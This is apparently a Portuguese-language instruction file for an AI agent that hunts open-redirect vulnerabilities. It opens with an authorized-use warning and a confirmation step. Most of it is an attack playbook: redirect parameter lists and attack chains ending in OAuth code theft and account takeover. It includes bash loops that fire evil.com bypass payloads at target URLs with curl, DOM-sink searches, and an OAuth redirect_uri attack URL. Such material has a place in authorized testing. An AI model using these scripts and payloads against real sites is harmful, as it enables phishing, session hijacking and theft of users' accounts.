⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

1. Peça ao usuário para declarar a URL exata do alvo, IP, conta ou recurso.
2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

HUNT-OPEN-REDIRECT — Redirecionamento Aberto

Alvos Joia da Coroa

Redirecionamento aberto por si só é Baixo. Encadeado ao OAuth = Crítico (ATO).

Cadeias de maior valor:

• Redirecionamento aberto → Roubo de código de autorização OAuth — redirect_uri contém redirecionamento aberto em domínio confiável → código de autorização enviado ao atacante → ATO
• Redirecionamento aberto → Phishing — usuários confiam na URL porque ela começa com target.com
• Redirecionamento aberto → Escalada SSRF — se o redirecionamento for seguido no lado do servidor → SSRF
• Redirecionamento aberto → Fixação de sessão — força o usuário ao endpoint de login com sessão pré-definida

Sinais de Superfície de Ataque

?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=

Tabela de Bypass

Metodologia de Caça Passo a Passo

Fase 1 — Descobrir Parâmetros de Redirecionamento

# Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt

# Less common param names
grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
  recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt

Fase 2 — Teste Básico

COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
  LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
  [ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
done

Fase 3 — Técnicas de Bypass

BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
  "https://evil.com"
  "//evil.com"
  "/\\evil.com"
  "https://$TARGET@evil.com"
  "https://evil.com%23.$TARGET"
  "https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
  LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
  echo "$P → $LOC"
done

Fase 3b — Redirecionamento aberto baseado em DOM (sink do lado do cliente)

A busca Location: no lado do servidor perde redirecionamentos que ocorrem puramente em JS. Fonte (location.hash/location.search/document.referrer) atribuída a um sink de navegação.

grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
  | grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"
# Confirm in a browser (curl can't): open  https://$TARGET/page#https://evil.com  (or ?url=...)
# Common shape:  var u=new URLSearchParams(location.search).get('url'); location=u;

(PortSwigger: Redirecionamento aberto baseado em DOM.)

Fase 4 — Teste de Cadeia OAuth

# Se o alvo tiver OAuth, verifique se redirect_uri aceita redirecionamento aberto
grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20

# Construir URL OAuth com redirecionamento aberto como redirect_uri
# Normal: redirect_uri=https://target.com/callback
# Ataque: redirect_uri=https://target.com/redirect?url=https://evil.com

…